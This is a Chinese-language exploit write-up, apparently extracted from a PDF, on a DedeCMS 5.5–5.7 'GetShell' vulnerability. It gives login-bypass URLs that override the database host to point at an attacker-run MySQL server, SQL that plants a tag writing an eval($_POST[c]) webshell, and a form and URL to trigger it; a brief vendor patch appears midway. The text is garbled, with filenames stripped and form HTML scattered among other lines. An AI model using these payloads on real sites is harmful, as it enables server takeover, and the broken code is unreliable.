2024年4月15日发(作者:)

DEDECMS(织梦程序)5.5-5.7通杀GetShell漏洞

入侵步骤如下:/织梦网站后台

/?dopost=login&validate=dcug&userid=admin&pwd

=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POS

T[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r

0t0&_POST[GLOBALS][cfg_dbname]=root

把上面validate后面的字母改为当前的验证码,即可直接进入网

站后台。

小编分析了一下,此漏洞的前提是必须得到后台路径才能实现,

因此大家一定要养成使用DEDECM建站时改后台名字的习惯。下面给

出官方的解决办法:

解决办法:

找到include/文件,把

foreach($_REQUEST as $_k=>$_v)

{

var_dump($_k);

if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) ):

{

exit('Request var not allow!');

}

}

换成

//检查和注册外部提交的变量

function CheckRequest(&$val) {

if (is_array($val)) {

foreach ($val as $_k=>$_v) {

CheckRequest($_k);

CheckRequest($val[$_k]);

}

} else

{

if(

{

exit('Request var not allow!');

}

}

}

CheckRequest($_REQUEST);

网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,

服务器能外连,就能拿shell

前题条件,必须准备好自己的dede数据库,然后插入数据:

insert into dede_mytag(aid,normbody)

values(1,'{dede:php}$fp = @fopen("", 'a');@fwrite($fp,

'');echo "OK";@fclose($fp);{/dede:php}');

再用下面表单提交,shell 就在同目录下 。原理自己研

究。。。

id="QuickSearch" onsubmit="addaction();">

name="doaction" style="width:400">

name="_COOKIE[GLOBALS][cfg_dbhost]"

style="width:400">

/>

type="text" value="dbuser"

name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400">

type="text"

value="localhost:8080/plus/mytag_?aid=1"

strlen($val)>0 &&

preg_match('#^(cfg_|GLOBALS)#',$val) )

name="_COOKIE[GLOBALS][cfg_dbpwd]"

style="width:400">

name="_COOKIE[GLOBALS][cfg_dbname]"

style="width:400">

name="_COOKIE[GLOBALS][cfg_dbprefix]"

style="width:400">

======================================

==============

DedeCms v5.6-5.7 0day

其实除过windows系统,很多服务提供商是不让php连接外部

mysql服务器的。

用PHPNow在本地搭建DEDECMS运行环境并安装DEDECMS,

这里以DedeCMSV57_UTF8为例。

直接进后台:

dede/?dopost=login&validate=8235&userid=ad

min&pwd=admin&_POST[GLOBALS][cfg_dbhost]=192.168.1.1&

type="text" value="true"

value="

name="nocache"

提交"

style="width:400">

type="submit"

name="QuickSearchBtn">

_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbp

wd]=123456&_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8

&_POST[GLOBALS][cfg_dbprefix]=dede_

直接获得webshell:

进入自己在本地搭建的dede数据库,然后插入数据:

insert

'

into dede_mytag(aid,normbody)

?>');echo

values(1,'{dede:php}$fp = @fopen("", 'a');@fwrite($fp,

eval($_POST[c])

"OK";@fclose($fp);{/dede:php}');

在地址栏提交以下语句即可获得一句话木马plus/:

plus/mytag_?aid=1&_POST[GLOBALS][cfg_dbhost]=1

92.168.1.1&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBAL

S][cfg_dbpwd]=123456&_POST[GLOBALS][cfg_dbname]=dedec

msv57utf8&_POST[GLOBALS][cfg_dbprefix]=dede_&nocache=tr

ue